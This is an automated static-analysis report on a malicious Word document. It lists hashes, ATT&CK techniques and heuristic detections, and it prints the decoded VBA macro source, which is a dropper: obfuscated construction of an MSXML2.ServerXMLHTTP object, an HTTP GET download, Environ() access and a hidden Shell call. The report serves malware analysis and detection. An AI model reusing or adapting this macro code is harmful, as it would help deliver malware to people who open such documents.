Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9680e37820695ad…

MALICIOUS

Office (OLE)

69.5 KB Created: 2015-07-21 23:33:00 Authoring application: Microsoft Office Word First seen: 2015-10-01
MD5: aff634f511eca1828f4107cd01ab1080 SHA-1: 3a253c6460e8e4d62487d3d3a85a43f9a8661c12 SHA-256: c9680e37820695ad210b1adff0f23b02271e48003e1a2cc9319e651d33d3b465
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros that utilize `CreateObject` to instantiate `MSXML2.ServerXMLHTTP` and make HTTP GET requests to download a payload. The presence of `AutoOpen` and `CreateObject` calls, along with the ClamAV detection of 'Doc.Dropper.Agent', strongly suggests a dropper functionality. The macro attempts to obfuscate its actions with junk variables and string concatenation.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1616653 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1616653
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    hqwdugqw = Shell(hasdgja, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3758 bytes
SHA-256: a19c40059f9c8bac7a7130a3c33cf827962d4d7ba04d3d7a3f5189affae39aba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Public Function Xjdkhjfwefw(a As Object)
Xjdkhjfwefw = (a.responseText)
End Function
 



Attribute VB_Name = "Module2"
 
Public Function Goabc(sps As String)
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
Goabc = Environ(sps)
End Function
Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Kjqiwdhqwuhdjqkwhdjkqwbd As Object, AHUDWQI As String
Dim ashdUHhda As String, hausd As Integer
ashdUHhda = nbqjbdjqw
hausd = Tan(12)
BQDHJQWDGWQJGS = "MS" + Chr(93 + 5 * hausd) + "ML2.ServerXMLH" & Chr(85 + hausd) & Chr(84) & Chr(80)
'MsgBox (BQDHJQWDGWQJGS)
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
Kjqiwdhqwuhdjqkwhdjkqwbd.Open "GE" & "" & "T", ashdUHhda
Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI)
Linolium = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd)
End Function
Sub Crispy(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub







Attribute VB_Name = "Module3"
 
Public Function India(dnuwhd As String, b As String, c As Integer)
Dim kelTefjsd As String
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
Dim ttrejiojfsdlkjfkldjhetttjshkfjdsh As Range, behjasdbhjsajdgqhjwgdq As Range
Set ttrejiojfsdlkjfkldjhetttjshkfjdsh = ActiveDocument.Range
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
.Text = dnuwhd
.MatchWholeWord = True
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find.Execute
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set behjasdbhjsajdgqhjwgdq = ActiveDocument.Range
Dim wdsadwq As String
behjasdbhjsajdgqhjwgdq.Start = ttrejiojfsdlkjfkldjhetttjshkfjdsh.End
.Text = b
.MatchWholeWord = True
.Execute
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseStart
behjasdbhjsajdgqhjwgdq.End = ttrejiojfsdlkjfkldjhetttjshkfjdsh.Start

If (c = 1) Then
    kelTefjsd = behjasdbhjsajdgqhjwgdq.Delete
End If
If (c = 2) Then
    behjasdbhjsajdgqhjwgdq.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 2 ^ 4

QHUDW = Chr(10 + 23 + Sgn(hduwaa))

If (c = 3) Then
    With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
    .Text = a
    .Replacement.Text = QHUDW
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function

Public Function HowEver(hqwdugqw As Variant, hasdgja)
NJBDW = "wndm 21jhjg21 21"
hqwdugqw = Shell(hasdgja, 0)
HowEver = hqwdugqw
End Function